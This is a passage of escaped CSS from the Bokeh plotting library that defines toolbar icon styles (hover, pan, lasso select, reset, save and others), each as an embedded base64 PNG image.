CAgICAgPHRpZmY6Q29tcHJlc3Npb24+NTwvdGlmZjpDb21wcmVzc2lvbj4KICAgICAgICAgPHRpZmY6WFJlc29sdXRpb24+NzI8L3RpZmY6WFJlc29sdXRpb24+CiAgICAgICAgIDx0aWZmOk9yaWVudGF0aW9uPjE8L3RpZmY6T3JpZW50YXRpb24+CiAgICAgICAgIDx0aWZmOllSZXNvbHV0aW9uPjcyPC90aWZmOllSZXNvbHV0aW9uPgogICAgICAgICA8ZXhpZjpQaXhlbFlEaW1lbnNpb24+MzI8L2V4aWY6UGl4ZWxZRGltZW5zaW9uPgogICAgICAgICA8ZXhpZjpQaXhlbFhEaW1lbnNpb24+MzI8L2V4aWY6UGl4ZWxYRGltZW5zaW9uPgogICAgICAgICA8ZXhpZjpDb2xvclNwYWNlPjE8L2V4aWY6Q29sb3JTcGFjZT4KICAgICAgICAgPHhtcE1NOkluc3RhbmNlSUQ+eG1wLmlpZDpBODVDNDBDMzIwQjMxMUU0ODREQUYzNzM5QTM2MjBCRTwveG1wTU06SW5zdGFuY2VJRD4KICAgICAgICAgPHhtcE1NOkRvY3VtZW50SUQ+eG1wLmRpZDpBODVDNDBDNDIwQjMxMUU0ODREQUYzNzM5QTM2MjBCRTwveG1wTU06RG9jdW1lbnRJRD4KICAgICAgICAgPHhtcE1NOkRlcml2ZWRGcm9tIHJkZjpwYXJzZVR5cGU9IlJlc291cmNlIj4KICAgICAgICAgICAgPHN0UmVmOmluc3RhbmNlSUQ+eG1wLmlpZDpBODVDNDBDMTIwQjMxMUU0ODREQUYzNzM5QTM2MjBCRTwvc3RSZWY6aW5zdGFuY2VJRD4KICAgICAgICAgICAgPHN0UmVmOmRvY3VtZW50SUQ+eG1wLmRpZDpBODVDNDBDMjIwQjMxMUU0ODREQUYzNzM5QTM2MjBCRTwvc3RSZWY6ZG9jdW1lbnRJRD4KICAgICAgICAgPC94bXBNTTpEZXJpdmVkRnJvbT4KICAgICAgICAgPGRjOnN1YmplY3Q+CiAgICAgICAgICAgIDxyZGY6U2VxLz4KICAgICAgICAgPC9kYzpzdWJqZWN0PgogICAgICAgICA8eG1wOk1vZGlmeURhdGU+MjAxNjoxMToyOCAxMToxMTo4MjwveG1wOk1vZGlmeURhdGU+CiAgICAgICAgIDx4bXA6Q3JlYXRvclRvb2w+UGl4ZWxtYXRvciAzLjY8L3htcDpDcmVhdG9yVG9vbD4KICAgICAgPC9yZGY6RGVzY3JpcHRpb24+CiAgIDwvcmRmOlJERj4KPC94OnhtcG1ldGE+Cphjt2AAAAT7SURBVFgJxRdbaFxFdGb2bhui227BWrsVKYgf2kJUbP9EUPuzEB803WTXJjH61Q/7Ya1+CMYKEVTsh4J/EpvY7BoabUiNiA8s1p+4KIhpoUUEselHqyS76TbZ3HuP58ydc3d2u4+IkQxczpz3mZkzZ86VYpXjvenpjZsLhUcliE4AuUuASAgptmt1EFdwPiclzIIUUwubNn17OJlcXo1p2UpodHRiux9xB1Eug1+slbzhFxGOKc851tu7/0oznYYBDA8Pt0U2tL8KQryIq2tvZqQhD0QJHRz3yqWhgYGBpXpydQMwqz6NCnurleCSADkJEfgKfOePqL80R/wV1ZaQyr1LenKfkPCkEPKeaj0xg7vxVL3duCmA0Vyuw/fl52hgBxsBED+h4Cv9z3R/zbRm8MTJTx7HQN7GQB6w5C4L4SX7M5lfLBpurjXMyvNIShiyi0l1pL8n9b7EDGPR8fHxzSsQ6XDB3618/xqo6Pk25V5MpVJllgHM1BO58RdQ612kOYZ+GXdij70TYQB05mpj+1kU5G2fB+l3PZtOf8NGx6ambnMXb3yAxg8wjSEG6OKKR9oicBQD+ZvpH2Wzj0lQpxCPG9qMv1x6hHNCsSAlHM7ZOa682vlI9tRDbvHGbD3nZAPpDoD/3JIrLpAs26UFkC3EMUA99hpfGtEBfJjNJnS2Gwnadnvl+Xw+iuc3DAJuNyIaSCHpilVldyDjjUxj3WDZIAhxhHHyRcdNuA7AAfUaXzVKODpzFiZ4/uLvh5G+m2no+C/pyIf7MqlEJB7bpqR6nXkEUfbeawuLaZsW2ISfNQ2vtaktQlGFQyIVGT0o2+2EC4iQNGwjBIN9qdQ5Qg4mk4X4rW3vCClLtowE2FOFUxKDfNmiZci3ovKKRFPh4FK9q4Zbdr+lKKJiA13TcHR2dmLBgdmQ0GAS2MZaEowY+XbAk09IvgtYZGp16SyvFhaHcIUh645t8T9DBCcnz5zZ4hZLu3DzK2QlL1QQa0Y+pHiJKPSuOGj3PmZTheM5w2TwqBxnvBZOTk7G5gvXJ5Aelms8wnJURL+olSWcfEhf6gDoUXPMq6ZlqbzWU2pE+3hi4s6F68tfIj9cBMlikr7Z0/P0b/X0yIcUXsDCF1WhtL4OROHaXk+xlkbV0Cu732Nmhc4peaWSg73pA8dq5RkvO37ldUTfXCKZv2q45MkhvG87WQEzpCCUSvV1d9GONBy3lMvgKSwrZig8gjAietWY0QriylO2jIo4yVbOSb7KB/qmI9BPKjHpSSXYauRyn92Nq9/Kcrj13x3s3v8D481glQ/0raiNYgX9njPSBOImbrHZePl+tfFmc9sH+Xaoh8NjOKSVdDMhjjYzQLy+dFceH5+IJQf9VYXX4tROg4ZFU8m31M3mfPEqUoJqCGJfvWpo2xnNfdrhC28n06SCeSzNZxlvBINGRXCtKS7EY1uV6V7HWAm38y1cXaXsMcOCvr9ySPj+af7A1U2HJXHzVNvUXVLIGyPf+jV0pf8GHoN+TLAyPkidTCi2RpPApmnR0Bd1zGRaB/B8Oj2HSw7LLbVR1MmskW8RdEWVXSJf3JbpAMgRtc4IZoxTh9qotQjCasm46M0YX9pV1VmbpvRH5OwwgdRtSg2vKaAz/1dNKVtb17Y8DCL4HVufHxMOYl1/zTgIgiYvBnFKfaNp3YjTdPz3n9Na8//X7/k/O1tdwopcZlcAAAAASUVORK5CYII=\\\\\\\")}.bk-root .bk-tool-icon-hover{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEg4oVHp0SwAAAQJJREFUWMPtlsENgzAMRb8RQ5VJItFDOgaZAMaAA0iZpN3KPZSoEEHSQBCViI/G8pfNt/KAFFcPshPdoAGgZkYVVYjQAFCyFLN8tlAbXRwAxp61nc9XCkGERpZCxRDvBl0zoxp7K98GAACxxH29srNNmPsK2l7zHoHHXZDr+/9vwDfB3kgeSB5IHkgeOH0DmesJjSXi6pUvkYt5u9teVy6aWREDM0D0BRvmGRV5N6DsQkMzI64FidtI5t3AOKWaFhuioY8dlYf9TO1PREUh/9HVeAqzIThHgWZ6MuNmC1jiL1mK4pAzlKUojEmNsxcmL0J60tazWjLZFpClPbd9BMJfL95145YajN5RHQAAAABJRU5ErkJggg==\\\\\\\")}.bk-root .bk-tool-icon-crosshair{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAADEUlEQVRYR81XXVIaQRCeHqug8CXmBNETaE4gniDwIgpVspxAbxC9ATkBkCpQ8gKeQDiB5AQxNyAvUlrldr7eHxyGXZi1rMJ5opbp7m++7un+htSGF204vsoMoNXrlzSpfWa1oxQfhAegCZGaEtPorHo8znIoJwCt6+td8uk7ApUQCIHTF4BNAWzImq8ap6cP68CsBdDp9i9ZqXM7ML79g/EnCWD+jgMKENKqWT+tXK0CkQqgNRjs0OxpQIqKhoMxaG6/6JeRnK7T6yO2UvVqhYSlLX+ryORfgKn9ORDFIy7ky41yGcwsr0QAQfDH5zucOswx819fs4egI9OFCcD8DjBF7VNbEX0JzdWEt3NHSSASAcCxBDqMgt/623kvyTgNgNjJIfTjk4D4FqaJR1715MjmYAmA5Bx3AwUXQL+t105KaTlcBSC26XRvhjEIoLiq1yqXpr8FAGG16/ug4IT27fxBWu7EiQuAiImJpEMKE6nYM30uAIDDttSUOPfJP7JzbjPhAiBIh9QE67vIvoOi9WJfCwDavf40ulpjbCqmUf+W753ezURuh7Dg1SqflwAEHU6pgfyBq9Y4qx0LG++2fnZ/eUzcstmdM2AWH+jfc+liWdBJfSENf8Lifi3GVwC9mybOfi5dzatWVrbbLIHNva8p5h/16gkaFiLGGxbufkoE6XguwePiXLF3XmMfCUCUAqtKXU7sumd1CowOuJEi3Pg1FBpjitIGhyvVSfvmjci6ZR+rFQfDiPVE2jFYeICQ+PoewwjC5h7CZld6DBdyu6nDSKgzOyIMhmhK5TTqXYbRorZYM46TmpKAAOrGWwSJJekSB1yqJNOzp1Gs7YJ0EDeySDIMtJbQHh6Kf/uFfNFZkolJICRmz0P8DKWZuIG2g1hpok+Mk0Qphs0h9lzMtWRoNvYLuVImUWrmPJDlBKeRBDfATGOpHkhw670QSHWGLLckmF1PTsMlYqMJpyUbiO0weiMMceqLVTcotnMCYAYJJbcuQrVgZFP0NOOJYpr62pf3AmrHfWUG4O7abefGAfwH7EXSMJafOlYAAAAASUVORK5CYII=\\\\\\\")}.bk-root .bk-tool-icon-lasso-select{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEgwlGP1qdAAABMBJREFUWMO9V1uIVVUY/r61z57ZMx4DnbzgkbQXL5iCJphlWdpIGY4jpFBkEiU9ZNaDRRcITcIwMwgxoQtU2IMXdAZfMjFvpERXYiSbysyBEXFmyuHMnLP32uvrwT2xnY5nxvHQ93Jg7fWv71/r//7L4a59TRgqJk+Z6v3a+sv0OI5nk5wu6VaSVZImAThHsgjgrKTvM5nMUWvtmf5n8HodCIKgOgzDhc65pSTrJQWDsSNpJX1ljHnDOfdT37oZLLHv+8OMMasKhcIJ59xHAJYMlhwAJGUAzJfUTHLFuFzOG5QDU6dNMyQfs9Yedc5tBpAD4IYYNQGoBrDtQnt7/b0LFrJsCHzfn2itfQfAnZLiazytA3AaQAuAiwDaEgeNpGkkswAWSBqRONB38b88z5uTKePt6iiKXkk8jq+iJC5LOmiMaTLGHLPWhmWeHr7vV0dRtATAapAzIVmSo51zyzIlbm2stesFPA6pKk0r6Ryg93y/ek8YFvPOOTg3cDSiKCoC2OP7/rEoirYm4rUkF12lAWNM1lr7lqQn0+QA8gI2jBg5cj6Aj8OwmB+KAKIoukhyp6SRJAUgl0ndPLDWPi9pJQCbuviXvu+/GIZhW1dnJ24UJFuTjCCA2ADA8sYGWmsXS3qmL94kDYAtkh4Nw7ANlQJ5U6INT1KrAYC9zQdykl7nFSj5fXp5Y8NWVBhy7mUAjqShMYdMXV2dJ2klyRwAJ8lIeuGWCRMP7N7frEqSG2OmAFhKshNAp5wrmO7u7jEAngPQm1S2z2pqapr+OPt7XEly0oxwzq2RdFmSD2AMgKKJouhhAL4kA+Cs53l7e3t7uytJHgRBreTWkXwkKVJnJD0B4GAGwIJE9R6AFufc6UqSZ7PZbD6ff5dkA4CQZEHSqwAOISmXtwGIE+F1SeqqIP8d+Xz+C0mLJYWSAODteXffczjdDQNJ0BWMCoLg5gqIbRTJNwHsljQhUb0luWPM2LE7Thw/9m/5NCT/TByxAOYWi8X6/gdWV1dnfN8fNRBxJpMZTXKdc+6IpFVJWAEgkvSJpA0X2tvtVTaSjgOYBCAEEADYSHK87/sfhmEYA9gShuEDkgzJHyWtB/B1irQ2juP7ADxkrX0wOUOpzmdpzEY590HJ7Ni1r2kSyZOSiv2+hSRjSTXp/QAukzySNJOJkmalyNIl10hqMcasdc61XDNcQRD8BnITgNp+36r6kfcNFMMlLQGwTNLMEuQGQBfJl2bdPru+HDkAZAqFQux53jZHEsC6aw0eg2gylNRBcqcx5v04ji999+03AwsWAOI4Lsy9a94WkisAnE5a5WCJYwCfA1g7LJudI2lTHMeXBm1faiQzxkyRtF3S5CTupeAB+KG2tnZFT0/P30NO2VKLzrmfAbwGMipjG5Oc0dPTc0Md05SZ5U4Q2FxChErtEYD7jTGNQ3UgM8Asv90Yc9I5LSKRlXSI5CxJa0jWSALJjKRnAewfkniT+vwf7N7fXHK9rq7O7+jo+BTA/NRrdBpjnnLOnUrvXd7YMPQXSBunneno6IhIHgYwW1JtkgmBpBkATlVMAwOk3nFJ+VSoqgCMr6gIy2FcLtdKspAedyQN/98caDt/3kpyabUmf8WvG/8A1vODTBVE/0MAAAAASUVORK5CYII=\\\\\\\")}.bk-root .bk-tool-icon-pan{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEg4lKssI9gAAAOtJREFUWMPVll0KwyAMgNPgoc0JzDX2Mtgp3csKErSamGabIEUo/T6bHz0ezxdsjPJ5kvUDaROem7VJAp3gufkbtwtI+JYEOsHNEugIN0mgM1wtsVoF1MnyKtZHZBW4DVxoMh6jaAW0MTfnBAbALyUwCD6UwEB4VyJN4FXx4aqUAACgFLjzrsRP9AECAP4Cm88QtJeJrGivdeNdPpko+j1H7XzUB+6WYHmo4eDk4wj41XFMEfBZGXpK0F/eB+QhVcXslVo7i6eANjF5NYSojCN7wi05MJNgbfKiMaPZA75TBVKCrWWbnGrb3DPePZ9Bcbe/QecAAAAASUVORK5CYII=\\\\\\\")}.bk-root .bk-tool-icon-xpan{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEg4X4hxZdgAAAMpJREFUWMPtlsEKwjAMhr/pwOOedINJe/PobWXCfAIvgo/nA4heOiilZQqN2yE5lpD/I38SWt3uD9aMHSuHAiiAAmwaYCqoM/0KMABtQYDW11wEaHyiEei28bWb8LGOkk5C4iEEgE11YBQWDyHGuAMD0CeS30IQPfACbC3o+Vd2bOIOWMCtoO1mC+ap3CfmoCokFs/SZd6E0ILjnzrhvFbyEJ2FIZzXyB6iZ3AkjITn8WOdSbbAoaD4NSW+tIZdQYBOPyQKoAAKkIsPv0se4A/1UC0AAAAASUVORK5CYII=\\\\\\\")}.bk-root .bk-tool-icon-ypan{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEg4anK0lywAAAMVJREFUWMPtlzEKwzAMRX/S7rlpIMXeOnaLaME36FLo8XqCdNFghGljyc4kgQi2Q/SUj0F/eL7eMMTKz6j9wNlYPGRrFcSoLH4XxQPvdQeYuPOlcLbw2dRTgqvoXEaolWM0aP4LYm0NkHYWzyFSSwlmzjw2sR6OvAXNwgEcwAEcwAEcwAEcoGYk20SiMCHlmVoCzACoojEqjHBmCeJOCOo1lgPA7Q8E8TvdjMmHuzsV3NFD4w+1t+Ai/gTx3qHuOFqdMQB8ASMwJX0IEHOeAAAAAElFTkSuQmCC\\\\\\\")}.bk-root .bk-tool-icon-range{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAAXNSR0IArs4c6QAAAAlwSFlzAAALEwAACxMBAJqcGAAABCJpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IlhNUCBDb3JlIDUuNC4wIj4KICAgPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KICAgICAgPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIKICAgICAgICAgICAgeG1sbnM6dGlmZj0iaHR0cDovL25zLmFkb2JlLmNvbS90aWZmLzEuMC8iCiAgICAgICAgICAgIHhtbG5zOmV4aWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vZXhpZi8xLjAvIgogICAgICAgICAgICB4bWxuczpkYz0iaHR0cDovL3B1cmwub3JnL2RjL2VsZW1lbnRzLzEuMS8iCiAgICAgICAgICAgIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyI+CiAgICAgICAgIDx0aWZmOlJlc29sdXRpb25Vbml0PjI8L3RpZmY6UmVzb2x1dGlvblVuaXQ+CiAgICAgICAgIDx0aWZmOkNvbXByZXNzaW9uPjU8L3RpZmY6Q29tcHJlc3Npb24+CiAgICAgICAgIDx0aWZmOlhSZXNvbHV0aW9uPjcyPC90aWZmOlhSZXNvbHV0aW9uPgogICAgICAgICA8dGlmZjpPcmllbnRhdGlvbj4xPC90aWZmOk9yaWVudGF0aW9uPgogICAgICAgICA8dGlmZjpZUmVzb2x1dGlvbj43MjwvdGlmZjpZUmVzb2x1dGlvbj4KICAgICAgICAgPGV4aWY6UGl4ZWxYRGltZW5zaW9uPjMyPC9leGlmOlBpeGVsWERpbWVuc2lvbj4KICAgICAgICAgPGV4aWY6Q29sb3JTcGFjZT4xPC9leGlmOkNvbG9yU3BhY2U+CiAgICAgICAgIDxleGlmOlBpeGVsWURpbWVuc2lvbj4zMjwvZXhpZjpQaXhlbFlEaW1lbnNpb24+CiAgICAgICAgIDxkYzpzdWJqZWN0PgogICAgICAgICAgICA8cmRmOkJhZy8+CiAgICAgICAgIDwvZGM6c3ViamVjdD4KICAgICAgICAgPHhtcDpNb2RpZnlEYXRlPjIwMTgtMDQtMjhUMTQ6MDQ6NDk8L3htcDpNb2RpZnlEYXRlPgogICAgICAgICA8eG1wOkNyZWF0b3JUb29sPlBpeGVsbWF0b3IgMy43PC94bXA6Q3JlYXRvclRvb2w+CiAgICAgIDwvcmRmOkRlc2NyaXB0aW9uPgogICA8L3JkZjpSREY+CjwveDp4bXBtZXRhPgrsrWBhAAAD60lEQVRYCcVWv2scRxSemZ097SHbSeWkcYwwclDhzr1Q5T6QE1LghP6BGNIYJGRWNlaZItiFK1mr+JAu4HQu0kjpU8sgF3ITAsaFg0hOvt2Zyfvmdsa7a610Unx44Zgf773vvfneezPHNzrbhn3CT3xC3wPXYOC8LDzqdi8YY/gwh4BeknS/2th6dr2kf94AOp3OFyWgMyziOPbMDxV9FTtJnl1ut795Xd0/YQ0/vtYQwMT1KXWCfr2IjOWwtNehwN4xL9ykTrm6Pzl58yLn3J+mKh9mXbT3uRjGEDph+O8/TjfP5dBp7Ha7AX7O3o5nZeD/0E/OGyXntDgzA0X6qmCnrVutVlrUWV9f/3xo+pwhGDhvEPHOjoxnZjJggXmMHzBQ7NGNp9vxk61fr0HR7e/u7pZzCGHlc7qwBYYTT7tJYSx1AQzppyFPft5apta9w7SKcn0b7P7+/jCsDQ5mbc0dCmIJGDN0ehdcjsmkm6A6KUeKFOTE11PLxrC7Ukqh3ylL2fT0NAP9q6ur6rRCJJYsbKB0JsbCKMuy+xREePDyxQPCz+Crlw062QcA5wBOOt1l6vIl2WiI9F1fN6Q+BBqit6hEC4Hk08GQJMn4myjSP7RavVxgdaVUh/3U6HCMsPr9pYnJKRziHtWQ+un58+hGs6nsjQSjpuTyKGN3CX+FBwHXSiEVgjP+O8X6N12kIePES+GzTKAkGbNp8yJsGUMVzz8jPKReiyAQRimy5/cjye5RpF8utFp/+nwmT7d/NMzcFkS7yjJNGDaPURQxIQThEQy0SyF4l5WJYYhBa816vZ6dU7A6CAhbZVow/pDe0O9hVOoCi13r4BgBAvJHqMSQL2vE/iH6IAXEwgrRVUmBoRRwnwJQT98xEeVeSUyB4dJ5nwJBKdCFFGRmUCcu7rwIYypCTblaChuNBhWODrman5ub+4v0rMNBt8z6Ezh7GksJQpCbm79cMQE7QBFm/X6f0rjWnv8WRYg/QdbUpwDAEBy8vPyA8rNGzg3a8MiElwiM7dAtRqNoNptjGPM1laVxP9umWEMGLOKhKUOJDtBwDmzsw9fC/CzHr9SGuCTi2LbbKvVtmqXpCjMihBFa79Wrt5fGx9PDzc3fmu32Lf8qFliwU9emKhBSp+kRKn/hu9k1COEDbFdt/BoKWOAkuEbdVYyoIXv8+I/QK9dMHEb1Knb7MHOv8LFFOsjzCVHWOD7Ltn+MXCRF4729vWMDK+p8rLkvwjLg4N4v741m5YuwCI9CvHp1Ha8gFdBoPnQAkGsYYGxxcfEI7QQlFCTGUXwjAz4tWF+EpymOWu7fglE7qsOvrYE6g4+9/x/vhRbMdLOCFgAAAABJRU5ErkJggg==\\\\\\\")}.bk-root .bk-tool-icon-polygon-select{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEjc1OfiVKAAAAe1JREFUWMPt1r9rU1EUB/DPK0XbqphFHETo4OCiFhwF0V1KHbRSROLqon+AUMVRRFBwEbRFMBiV+mMW/wIxi5OD1kERRVKRJHUwLvfBTZrU5OWBGXLgQu7Jfe98z/ec7z0vKa88b2q1BDtRHdAPBaylm1NzsxsOjPnPNt6WSWprbft+/c3I3zOAjhT1Y4+fvcjEQJIXnVECSa+AhqIHqlHH5lWCZoe+Gk4GRgDG86j9SAUdlDBSQaZhlOkuHyoVdJmsw98D1S5fM4NYM1LCpqM+Lwa240oLgmZzpVZvzKT75VLZcqksSZKWlQeAy/iORVwIvh31xvotvK7VG3Px4aWHj3Jl4C2uYSvq+Bn8v6LLbaVWb9zsBiKLCvbiNG7gLm7jAYqbPHMJMziZ9lsKoh8GtqCEVVzHftwJn+TFHp4/hg8BSCYVfMOZoPEv2NZGdy9WCGUr9toDR3E2/H4V6nwRe/BmgN65H1ZhvMuB3XiKIyFoGefwO6ysVkUlrNUNsyAK/jli533Q+Y8cJFvAeXyMS1CI/jiMr/gUtD2LQwMGr4R3p7bY3oQHQ5b38CT4D2AXXg6YcQXHpyYnlqKsi5iOAVSwL9zd7zJ09r+Cpwq72omFMazjT9Dnibym0dTkRDUKrrgwH7MwXVyYB38BstaGDfLUTsgAAAAASUVORK5CYII=\\\\\\\")}.bk-root .bk-tool-icon-redo{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEg4itK+dVQAAAaFJREFUWMPt1L1rFFEUBfDfJDaBBSslIFjbaSFp1FJQFMVCHkzhKIqdUYOCoBgErVz8rCwiTDMwBCIKipDWyip/gxAIWAmBgBC0eYFh2Gx2l9lFcA5M8e59782Zc84dWrT435Hs1siLchqn43MS0zgW22vYxjesYjVLw3YjBPKinMUTBOwf8J5fKLGYpWFjJAJ5Uc7gIW6jM6Kim3iNZ1katgYmEL/6I+YasvY7Lg6iRpIX5VF8wuEe/XV8wGf8jN6LWTiAc7iEQ7ucPZ+lYW0vAtfwvlbfwCKW9gpXDOv1mJvZHiSO91MiyYsyiQSuxtpXXM7SsDmM5nlRdrCMMz3sOJWl4Xevc/vwBzdwAl+yNNwZxfRI+GxelK9ikHcwh8d4NNR/YFRES1ZwoTYdR7I0rNf3TzVNIGbmSvR/Bx08mIgCFSVu4l2ltIWD9WxNGR+W8KOynqnZ0rwCeVG+wa0hjrxtWoF5dAfc28V8Mib/n+Nev5dnabg/zgw87aNEN/bHOwVRiRe4Wym9zNKwMKkpgIWKEt24njxiJlq0aPFv4i9ZWXMSPPhE/QAAAABJRU5ErkJggg==\\\\\\\")}.bk-root .bk-tool-icon-reset{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEg4gWqH8eQAABLdJREFUWMPtlktsVGUUx3/nfvfOlLQaY2IiRRMQIRpI0PjamJhoVASDvNpCpYw1vJQYSVwZwIVQF6wwRHmkAUof9ElrI6VqDAXcID4TF0IiYQMkSlTokNCZ+b7jove2t+NMH7rQBWd3v+989/zP+Z8X3Jb/WGQySvUNTQBJESkNguAVYIWqzhaRhwBU9WcR+QXoymazn6jqzUQiMQSQzWZRVdal1vwzAI2tHQBPOuc2AbWTdOyQ53n7nHNfRwee51GzqoIQMCLDpr3x/tLQ0oZzrk5Vj0/BOEBt+KYuOlBVGlrahr0Wob27t3gEjnZ2AyQzmUwHsDgP6J/AYRE553neDwDOuUdU9QngNeCumK4TkRMhZUORcYC1qysLA6iuSQHIwkWLD6lqapQsuSmwTVV3h99I7EcAR462A2xR2Ilq6ehTaejvO1774kuLNALR33eclsaGsQDe3fYegHl43vyNwEeqGl1963mm2jl7YZRTQ82qlWP4HM6ZToC5ztkW4LHQoALru7s6Di5dvlIj/e6ujrEAWoZDn8hmMjXATMACGaAVuBjXTVVXFc/AxhaA+4zvn1DV+eHxVWPMAmvtb5GeMWZyZVhI2rt7qVy2pOh9U1snwIPW2vMi4oWJuBPYHkVAVScPoKmtkzVVK6cEMsyJraHhiCqJqJUwj/JRz7TW1iSSyR2rVyylqa0Ta+24Ic8vXaAEmDFc/l5Z2A/80OibuVyuz/f9ElUdHCmvw82t5HK5h6y1PYhsz2YyGw43t2KtBZHIGwB6+j4rCkBVUdV7gXrggnPuu8h4eP+xMeZS2D0rJYZ6AdAMzAt1b4nI26p6IFZOY8pugijcKSIHVLUK0LyST4vnrVfnWr3mjmP4QTATaERkXkypRFX3isjmuHdRJEK6Ckqquopp06bdKCkp2Sgi7XnGLcg7gzeutwNIiPYc8HixqIrIOlU9ONVIhHPEd851icgSVXUiskVV94gIqoonIt0i8gfQCfwae38e6BWRXuBZz5jZ8VbaOE4EIqlZVUEQBLlkMplS1QER2RwkEnsSyaREDUzyeNsvIhvCMqkH1kdIJ2o+k8iJB1LVVRfjZ6nqqlEAIbdVQGto8Lrv+/dbawcjAL7vc+6bs+zetetfLSHxniIFGofGGsU2oC7eOCbDfZ7nQawBOSAX74SF9oEPImOq+r7nmVmxb5raukZa8UReGmNmhbMkAwwBH467EYVZe49z7kdgenj8k7V2oTHm8kgdWcvrNdVFjR8cHkYzjDH9wLjDaEwEzpwa4MypgWvAjtjxfGNMj4jMiT+M+kFsZI/Q6Pv+HGNMT8w4wI7TAyevxXVPD5z8+zD64tRXAMHVK1eaVLUyVvuDqroV2BOnJF4ZIedviUidqt4Re9s+vbx8zZXLl7PR2+nl5Tz/zNOFp2FzxzGAklw22wUsLLaSKXwf8vhosZUM6PeDYEUum70VHfpBwKsVyyfeikOP6oBNwN1TrLbfgX3A1kKLzKeff8nLLzw38T5wZDgxn1LnNk5lLRfP26/OnR2hwfNYW2Atn9RCsrf+EECyrKysDFimqhXhyjY3VLkAXBKRDqA7nU6nS0tLhyIj6XSaN9bVclv+l/IXAmkwvZc+jNUAAAAASUVORK5CYII=\\\\\\\")}.bk-root .bk-tool-icon-save{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEg4UexUIzAAAAIRJREFUWMNjXLhs5X+GAQRMDAMMWJDYjGhyf7CoIQf8x2H+f0KGM9M7BBio5FNcITo408CoA0YdQM1cwEhtB/ylgqMkCJmFLwrOQguj/xTg50hmkeyARAYGhlNUCIXjDAwM0eREwTUGBgbz0Ww46oBRB4w6YNQBow4YdcCIahP+H5EhAAAH2R8hH3Rg0QAAAABJRU5ErkJggg==\\\\\\\")}.bk-root .bk-tool-icon-tap-select{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAA2hpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMC1jMDYxIDY0LjE0MDk0OSwgMjAxMC8xMi8wNy0xMDo1NzowMSAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD0ieG1wLmRpZDo3NzIwRUFGMDYyMjE2ODExOTdBNUNBNjVEQTY5OTRDRSIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDpCOTJBQzE0RDQ0RDUxMUU0QTE0ODk2NTE1M0M0MkZENCIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDpCOTJBQzE0QzQ0RDUxMUU0